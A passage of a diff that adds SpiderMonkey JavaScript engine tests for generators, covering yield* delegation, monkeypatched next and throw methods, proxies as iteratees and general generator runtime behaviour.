+ Object.defineProperty(receiver, prop, { get: function () { throw Poison } });
+}
+
+// Poison inner.next.
+inner = g(10);
+outer = delegate(inner);
+inner.throw = log_calls(inner.throw);
+poison(inner, 'next')
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// Poison result value from inner.
+inner = g(10);
+outer = delegate(inner);
+inner.next = function () { return { done: true, get value() { throw Poison} } };
+inner.throw = log_calls(inner.throw);
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// Poison result done from inner.
+inner = g(10);
+outer = delegate(inner);
+inner.next = function () { return { get done() { throw Poison }, value: 42 } };
+inner.throw = log_calls(inner.throw);
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// mischief managed.
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-11.js b/js/src/tests/non262/generators/delegating-yield-11.js
new file mode 100644
index 0000000000..f7e6650fb9
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-11.js
@@ -0,0 +1,20 @@
+// The first call to yield* passes one arg to "next".
+
+function Iter() {
+ function next() {
+ if (arguments.length != 1)
+ throw Error;
+ return { value: 42, done: true }
+ }
+
+ this.next = next;
+ this[Symbol.iterator] = function () { return this; }
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var iter = delegate(new Iter());
+assertDeepEq(iter.next(), {value:42, done:true});
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-12.js b/js/src/tests/non262/generators/delegating-yield-12.js
new file mode 100644
index 0000000000..9ed7666e11
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-12.js
@@ -0,0 +1,49 @@
+// yield* calls @@iterator on the iterable to produce the iterator.
+
+var log = '';
+
+function IteratorWrapper(iterator) {
+ return {
+ next: function (val) {
+ log += 'n';
+ return iterator.next(val);
+ },
+
+ throw: function (exn) {
+ log += 't';
+ return iterator.throw(exn);
+ }
+ };
+}
+
+function IterableWrapper(iterable) {
+ var ret = {};
+
+ ret[Symbol.iterator] = function () {
+ log += 'i';
+ return IteratorWrapper(iterable[Symbol.iterator]());
+ }
+
+ return ret;
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var iter = delegate(IterableWrapper([1, 2, 3]));
+assertIteratorNext(iter, 1);
+assertIteratorNext(iter, 2);
+assertIteratorNext(iter, 3);
+assertIteratorDone(iter, undefined);
+
+assertEq(log, 'innnn');
+
+iter = delegate([1, 2, 3]);
+assertIteratorNext(iter, 1);
+assertIteratorNext(iter, 2);
+assertIteratorNext(iter, 3);
+assertIteratorDone(iter, undefined);
+
+assertEq(log, 'innnn');
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-2.js b/js/src/tests/non262/generators/delegating-yield-2.js
new file mode 100644
index 0000000000..34cb3f4a9f
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-2.js
@@ -0,0 +1,73 @@
+// Test yield* with iter.throw and monkeypatching.
+
+function* g1() { return (yield 1); }
+function* g2() { try { yield 1; } catch (e) { yield e; } }
+function* delegate(iter) { return yield* iter; }
+var GeneratorObjectPrototype = Object.getPrototypeOf(g1).prototype;
+var GeneratorObjectPrototype_throw = GeneratorObjectPrototype.throw;
+
+// An uncaught delegated throw.
+var inner = g1();
+var outer = delegate(inner);
+assertIteratorNext(outer, 1);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+
+// A caught delegated throw.
+inner = g2();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+assertIteratorResult(outer.throw(42), 42, false);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+
+// What would be an uncaught delegated throw, but with a monkeypatched iterator.
+inner = g1();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+inner.throw = function(e) { return { value: e*2 }; };
+assertEq(84, outer.throw(42).value);
+assertIteratorDone(outer, undefined);
+
+// Monkeypatching inner.next.
+inner = g1();
+outer = delegate(inner);
+inner.next = function() { return { value: 13, done: true } };
+assertIteratorDone(outer, 13);
+
+// What would be a caught delegated throw, but with a monkeypunched prototype.
+inner = g2();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+delete GeneratorObjectPrototype.throw;
+var outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+// yield* protocol violation: no 'throw' method
+assertThrowsInstanceOf(outer_throw_42, TypeError);
+// Now done, so just throws.
+assertThrowsValue(outer_throw_42, 42);
+
+// Monkeypunch a different throw handler.
+inner = g2();
+outer = delegate(inner);
+outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertIteratorNext(outer, 1);
+GeneratorObjectPrototype.throw = function(e) { return { value: e*2 }; }
+assertEq(84, outer_throw_42().value);
+assertEq(84, outer_throw_42().value);
+// This continues indefinitely.
+assertEq(84, outer_throw_42().value);
+assertIteratorDone(outer, undefined);
+
+// The same, but restoring the original pre-monkey throw.
+inner = g2();
+outer = delegate(inner);
+outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertIteratorNext(outer, 1);
+assertEq(84, outer_throw_42().value);
+assertEq(84, outer_throw_42().value);
+GeneratorObjectPrototype.throw = GeneratorObjectPrototype_throw;
+assertIteratorResult(outer_throw_42(), 42, false);
+assertIteratorDone(outer, undefined);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-3.js b/js/src/tests/non262/generators/delegating-yield-3.js
new file mode 100644
index 0000000000..624c12104c
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-3.js
@@ -0,0 +1,44 @@
+// Test yield* with iter.next and monkeypatching.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+var GeneratorObjectPrototype = Object.getPrototypeOf(g).prototype;
+var GeneratorObjectPrototype_next = GeneratorObjectPrototype.next;
+
+// Monkeypatch next on an iterator.
+var inner = g(20);
+var outer = delegate(inner);
+var innerNextFn = GeneratorObjectPrototype_next;
+inner.next = function() { return innerNextFn.call(this); };
+assertIteratorNext(outer, 0);
+assertIteratorNext(outer, 1);
+innerNextFn = function() { return { patched: true }; };
+// 42 yielded directly without re-boxing.
+assertEq(true, outer.next().patched);
+// Outer generator not terminated.
+assertEq(true, outer.next().patched);
+// Restore.
+innerNextFn = GeneratorObjectPrototype_next;
+assertIteratorNext(outer, 2);
+// Repatch.
+innerNextFn = function() { return { value: 42, done: true }; };
+assertIteratorDone(outer, 42);
+
+// Monkeypunch next on the prototype.
+var inner = g(20);
+var outer = delegate(inner);
+var innerNextFn = GeneratorObjectPrototype_next;
+GeneratorObjectPrototype.next = function() { return innerNextFn.call(this); };
+assertIteratorNext(outer, 0);
+assertIteratorNext(outer, 1);
+innerNextFn = function() { return { patched: true }; };
+// 42 yielded directly without re-boxing.
+assertEq(true, GeneratorObjectPrototype_next.call(outer).patched);
+// Outer generator not terminated.
+assertEq(true, GeneratorObjectPrototype_next.call(outer).patched);
+// Restore.
+innerNextFn = GeneratorObjectPrototype_next;
+assertIteratorNext(outer, 2);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-4.js b/js/src/tests/non262/generators/delegating-yield-4.js
new file mode 100644
index 0000000000..c076731727
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-4.js
@@ -0,0 +1,18 @@
+// With yield*, inner and outer iterators can be invoked separately.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+
+var inner = g(20);
+var outer1 = delegate(inner);
+var outer2 = delegate(inner);
+
+assertIteratorNext(outer1, 0);
+assertIteratorNext(outer2, 1);
+assertIteratorNext(inner, 2);
+assertIteratorNext(outer1, 3);
+assertIteratorNext(outer2, 4);
+assertIteratorNext(inner, 5);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-5.js b/js/src/tests/non262/generators/delegating-yield-5.js
new file mode 100644
index 0000000000..f4376743b0
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-5.js
@@ -0,0 +1,37 @@
+// Test that a deep yield* chain re-yields received results without
+// re-boxing.
+
+function results(results) {
+ var i = 0;
+ function next() {
+ return results[i++];
+ }
+ var iter = { next: next };
+ var ret = {};
+ ret[Symbol.iterator] = function () { return iter; }
+ return ret;
+}
+
+function* yield_results(expected, n) {
+ return yield* n ? yield_results(expected, n - 1) : results(expected);
+}
+
+function collect_results(iterable) {
+ var ret = [];
+ var result;
+ var iter = iterable[Symbol.iterator]();
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected, 20)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-6.js b/js/src/tests/non262/generators/delegating-yield-6.js
new file mode 100644
index 0000000000..8b358525c4
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-6.js
@@ -0,0 +1,56 @@
+// Test that each yield* loop just checks "done", and "value" is only
+// fetched once at the end.
+
+var log = "";
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+function Iter(val, count) {
+ function next() {
+ log += 'n';
+ return {
+ get done() { log += "d"; return count-- == 0; },
+ get value() { log += "v"; return val; }
+ }
+ }
+
+ function iterator() {
+ log += 'i';
+ return this;
+ }
+
+ this.next = next;
+ this[Symbol.iterator] = iterator;
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var inner = new Iter(42, 5);
+var outer = delegate(inner);
+
+// Five values, and one terminal value.
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+
+assertEq(log, "indndndndndndv");
+
+// Outer's dead, man. Outer's dead.
+assertDeepEq(outer.next(), {value: undefined, done: true});
+
+// No more checking the iterator.
+assertEq(log, "indndndndndndv");
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-7.js b/js/src/tests/non262/generators/delegating-yield-7.js
new file mode 100644
index 0000000000..f7c9e86cc5
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-7.js
@@ -0,0 +1,38 @@
+// The iteratee of yield* can be a proxy.
+
+function results(results) {
+ var i = 0;
+ function iterator() {
+ return this;
+ }
+ function next() {
+ return results[i++];
+ }
+ var ret = { next: next }
+ ret[Symbol.iterator] = iterator;
+ return ret;
+}
+
+function* yield_results(expected) {
+ return yield* new Proxy(results(expected), {});
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+// Sanity check.
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-8.js b/js/src/tests/non262/generators/delegating-yield-8.js
new file mode 100644
index 0000000000..c17d6ea26a
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-8.js
@@ -0,0 +1,44 @@
+// Test that yield* can appear in a loop, and alongside yield.
+
+function* countdown(n) {
+ while (n > 0) {
+ yield n;
+ yield* countdown(--n);
+ }
+ return 34;
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+var expected = [
+ // yield in countdown(3), n == 3
+ {value: 3, done: false},
+ // yield in yield* countdown(2), n == 2
+ {value: 2, done: false},
+ // yield in nested yield* countdown(1), n == 1
+ {value: 1, done: false},
+ // countdown(0) yields no values
+ // second go-through of countdown(2) loop, n == 1
+ {value: 1, done: false},
+ // second go-through of countdown(3) loop, n == 2
+ {value: 2, done: false},
+ // yield in yield* countdown(1), n == 1
+ {value: 1, done: false},
+ // third go-through of countdown(3) loop, n == 1
+ {value: 1, done: false},
+ // done
+ {value: 34, done: true}
+];
+
+assertDeepEq(expected, collect_results(countdown(3)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-9.js b/js/src/tests/non262/generators/delegating-yield-9.js
new file mode 100644
index 0000000000..60c35b94d7
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-9.js
@@ -0,0 +1,37 @@
+// Test that yield* can appear in a loop, and inside yield.
+
+function* countdown(n) {
+ while (n > 0) {
+ yield (yield* countdown(--n));
+ }
+ return 34;
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+var expected = [
+ // Only 34 yielded from the "yield" and the last return make it out.
+ // Three yields in countdown(3), two in countdown(2), and one in
+ // countdown(1) (called twice).
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: true}, // final
+];
+
+assertDeepEq(collect_results(countdown(3)), expected);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/fibonacci-matrix-generator.js b/js/src/tests/non262/generators/fibonacci-matrix-generator.js
new file mode 100644
index 0000000000..dbfee58272
--- /dev/null
+++ b/js/src/tests/non262/generators/fibonacci-matrix-generator.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "Fibonacci generator by matrix multiplication";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function* fib()
+{
+ var init = [1, 0];
+ var mx = [[1, 1], [1, 0]];
+ while (true)
+ {
+ yield init[1];
+ var tmp = [,];
+ tmp[0] =
+ mx[0][0]*init[0] + mx[0][1]*init[1];
+ tmp[1] =
+ mx[1][0]*init[0] + mx[1][1]*init[1];
+ init = tmp;
+ }
+}
+
+var failed = false;
+var it = fib();
+
+try
+{
+ if (it.next().value != 0)
+ throw "F_0 failed";
+ if (it.next().value != 1)
+ throw "F_1 failed";
+ if (it.next().value != 1)
+ throw "F_2 failed";
+ if (it.next().value != 2)
+ throw "F_3 failed";
+ if (it.next().value != 3)
+ throw "F_4 failed";
+ if (it.next().value != 5)
+ throw "F_5 failed";
+ if (it.next().value != 8)
+ throw "F_6 failed";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/forbidden-as-consequent.js b/js/src/tests/non262/generators/forbidden-as-consequent.js
new file mode 100644
index 0000000000..13647e154b
--- /dev/null
+++ b/js/src/tests/non262/generators/forbidden-as-consequent.js
@@ -0,0 +1,11 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertThrowsInstanceOf(() => eval("if (1) function* foo() {}"),
+ SyntaxError);
+assertThrowsInstanceOf(() => eval("'use strict'; if (1) function* foo() {}"),
+ SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/gen-with-call-obj.js b/js/src/tests/non262/generators/gen-with-call-obj.js
new file mode 100644
index 0000000000..9f7751a3dc
--- /dev/null
+++ b/js/src/tests/non262/generators/gen-with-call-obj.js
@@ -0,0 +1,36 @@
+var foo;
+
+function* gen() {
+ var x = 0;
+ foo = function() { return x++; }
+ for (var i = 0; i < 10; ++i)
+ yield x++;
+}
+
+var j = 0;
+for (i of gen())
+ assertEq(i, j++);
+
+// now mess up the stack
+
+function f1(x) {
+ var a, b, c, d, e, f, g;
+ return x <= 0 ? 0 : f1(x-1);
+}
+f1(10);
+function f2(x) {
+ var a = x, b = x;
+ return x <= 0 ? 0 : f2(x-1);
+}
+f2(10);
+
+// now observe gen's call object (which should have been put)
+
+gc();
+assertEq(foo(), 10);
+gc();
+assertEq(foo(), 11);
+gc();
+assertEq(foo(), 12);
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/generators/iteration.js b/js/src/tests/non262/generators/iteration.js
new file mode 100644
index 0000000000..6eb6a51aa3
--- /dev/null
+++ b/js/src/tests/non262/generators/iteration.js
@@ -0,0 +1,574 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test aspects of the generator runtime.
+
+
+var GeneratorFunction = (function*(){yield 1;}).constructor;
+
+
+function TestGeneratorResultPrototype() {
+ function* g() { yield 1; }
+ var iter = g();
+ assertIteratorNext(iter, 1);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+}
+TestGeneratorResultPrototype();
+
+function TestGenerator(g, expected_values_for_next,
+ send_val, expected_values_for_send) {
+ function testNext(thunk) {
+ var iter = thunk();
+ for (var i = 0; i < expected_values_for_next.length; i++) {
+ assertIteratorResult(iter.next(), expected_values_for_next[i],
+ i == expected_values_for_next.length - 1);
+ }
+ assertIteratorDone(iter, undefined);
+ }
+ function testSend(thunk) {
+ var iter = thunk();
+ for (var i = 0; i < expected_values_for_send.length; i++) {
+ assertIteratorResult(iter.next(send_val),
+ expected_values_for_send[i],
+ i == expected_values_for_send.length - 1);
+ }
+ assertIteratorDone(iter, undefined);
+ }
+ function testThrow(thunk) {
+ for (var i = 0; i < expected_values_for_next.length; i++) {
+ var iter = thunk();
+ for (var j = 0; j < i; j++) {
+ assertIteratorResult(iter.next(),
+ expected_values_for_next[j],
+ j == expected_values_for_next.length - 1);
+ }
+ var Sentinel = function () {}
+ assertThrowsInstanceOf(function () { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ }
+
+ testNext(g);
+ testSend(g);
+ testThrow(g);
+
+ testNext(function*() { return yield* g(); });
+ testSend(function*() { return yield* g(); });
+ testThrow(function*() { return yield* g(); });
+
+ if (g instanceof GeneratorFunction) {
+ testNext(function() { return g(); });
+ testSend(function() { return g(); });
+ testThrow(function() { return g(); });
+ }
+}
+
+TestGenerator(function* g1() { },
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(function* g2() { yield 1; },
+ [1, undefined],
+ "foo",
+ [1, undefined]);
+
+TestGenerator(function* g3() { yield 1; yield 2; },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, undefined]);
+
+TestGenerator(function* g4() { yield 1; yield 2; return 3; },
+ [1, 2, 3],
+ "foo",
+ [1, 2, 3]);
+
+TestGenerator(function* g5() { return 1; },
+ [1],
+ "foo",
+ [1]);
+
+TestGenerator(function* g6() { var x = yield 1; return x; },
+ [1, undefined],
+ "foo",
+ [1, "foo"]);
+
+TestGenerator(function* g7() { var x = yield 1; yield 2; return x; },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, "foo"]);
+
+TestGenerator(function* g8() { for (var x = 0; x < 4; x++) { yield x; } },
+ [0, 1, 2, 3, undefined],
+ "foo",
+ [0, 1, 2, 3, undefined]);
+
+// Generator with arguments.
+TestGenerator(
+ function g9() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// Too few arguments.
+TestGenerator(
+ function g10() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi");
+ },
+ ["fee", "fi", undefined, undefined, undefined],
+ "foo",
+ ["fee", "fi", undefined, undefined, undefined]);
+
+// Too many arguments.
+TestGenerator(
+ function g11() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum", "I smell the blood of an Englishman");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// The arguments object.
+TestGenerator(
+ function g12() {
+ return (function*(a, b, c, d) {
+ for (var i = 0; i < arguments.length; i++) {
+ yield arguments[i];
+ }
+ })("fee", "fi", "fo", "fum", "I smell the blood of an Englishman");
+ },
+ ["fee", "fi", "fo", "fum", "I smell the blood of an Englishman",
+ undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", "I smell the blood of an Englishman",
+ undefined]);
+
+// Access to captured free variables.
+TestGenerator(
+ function g13() {
+ return (function(a, b, c, d) {
+ return (function*() {
+ yield a; yield b; yield c; yield d;
+ })();
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// Abusing the arguments object.
+TestGenerator(
+ function g14() {
+ return (function*(a, b, c, d) {
+ arguments[0] = "Be he live";
+ arguments[1] = "or be he dead";
+ arguments[2] = "I'll grind his bones";
+ arguments[3] = "to make my bread";
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["Be he live", "or be he dead", "I'll grind his bones", "to make my bread",
+ undefined],
+ "foo",
+ ["Be he live", "or be he dead", "I'll grind his bones", "to make my bread",
+ undefined]);
+
+// Abusing the arguments object: strict mode.
+TestGenerator(
+ function g15() {
+ return (function*(a, b, c, d) {
+ "use strict";
+ arguments[0] = "Be he live";
+ arguments[1] = "or be he dead";
+ arguments[2] = "I'll grind his bones";
+ arguments[3] = "to make my bread";
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// GC.
+if (typeof gc == 'function') {
+ TestGenerator(function* g16() { yield "baz"; gc(); yield "qux"; },
+ ["baz", "qux", undefined],
+ "foo",
+ ["baz", "qux", undefined]);
+}
+
+// Receivers.
+TestGenerator(
+ function g17() {
+ function* g() { yield this.x; yield this.y; }
+ var o = { start: g, x: 1, y: 2 };
+ return o.start();
+ },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, undefined]);
+
+// FIXME: Capture the generator object as "this" in new g(). Bug 907742.
+// TestGenerator(
+// function g18() {
+// function* g() { yield this.x; yield this.y; }
+// var iter = new g;
+// iter.x = 1;
+// iter.y = 2;
+// return iter;
+// },
+// [1, 2, undefined],
+// "foo",
+// [1, 2, undefined]);
+
+TestGenerator(
+ function* g19() {
+ var x = 1;
+ yield x;
+ with({x:2}) { yield x; }
+ yield x;
+ },
+ [1, 2, 1, undefined],
+ "foo",
+ [1, 2, 1, undefined]);
+
+TestGenerator(
+ function* g20() { yield (1 + (yield 2) + 3); },
+ [2, NaN, undefined],
+ "foo",
+ [2, "1foo3", undefined]);
+
+TestGenerator(
+ function* g21() { return (1 + (yield 2) + 3); },
+ [2, NaN],
+ "foo",
+ [2, "1foo3"]);
+
+TestGenerator(
+ function* g22() { yield (1 + (yield 2) + 3); yield (4 + (yield 5) + 6); },
+ [2, NaN, 5, NaN, undefined],
+ "foo",
+ [2, "1foo3", 5, "4foo6", undefined]);
+
+TestGenerator(
+ function* g23() {
+ return (yield (1 + (yield 2) + 3)) + (yield (4 + (yield 5) + 6));
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Rewind a try context with and without operands on the stack.
+TestGenerator(
+ function* g24() {
+ try {
+ return (yield (1 + (yield 2) + 3)) + (yield (4 + (yield 5) + 6));
+ } catch (e) {
+ throw e;
+ }
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Yielding in a catch context, with and without operands on the stack.
+TestGenerator(
+ function* g25() {
+ try {
+ throw (yield (1 + (yield 2) + 3))
+ } catch (e) {
+ if (typeof e == 'object') throw e;
+ return e + (yield (4 + (yield 5) + 6));
+ }
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Generator function instances.
+TestGenerator(GeneratorFunction(),
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(new GeneratorFunction(),
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(GeneratorFunction('yield 1;'),
+ [1, undefined],
+ "foo",
+ [1, undefined]);
+
+TestGenerator(
+ function() { return GeneratorFunction('x', 'y', 'yield x + y;')(1, 2) },
+ [3, undefined],
+ "foo",
+ [3, undefined]);
+
+// Access to this with formal arguments.
+TestGenerator(
+ function () {
+ return ({ x: 42, g: function* (a) { yield this.x } }).g(0);
+ },
+ [42, undefined],
+ "foo",
+ [42, undefined]);
+
+function TestTryCatch(instantiate) {
+ function* g() { yield 1; try { yield 2; } catch (e) { yield e; } yield 3; }
+ function Sentinel() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+}
+TestTryCatch(function (g) { return g(); });
+TestTryCatch(function* (g) { return yield* g(); });
+
+function TestTryFinally(instantiate) {
+ function* g() { yield 1; try { yield 2; } finally { yield 3; } yield 4; }
+ function Sentinel() {}
+ function Sentinel2() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorResult(iter.throw(new Sentinel), 3, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorResult(iter.throw(new Sentinel), 3, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel2); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+
+ function Test7(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test7(instantiate(g));
+}
+TestTryFinally(function (g) { return g(); });
+TestTryFinally(function* (g) { return yield* g(); });
+
+function TestNestedTry(instantiate) {
+ function* g() {
+ try {
+ yield 1;
+ try { yield 2; } catch (e) { yield e; }
+ yield 3;
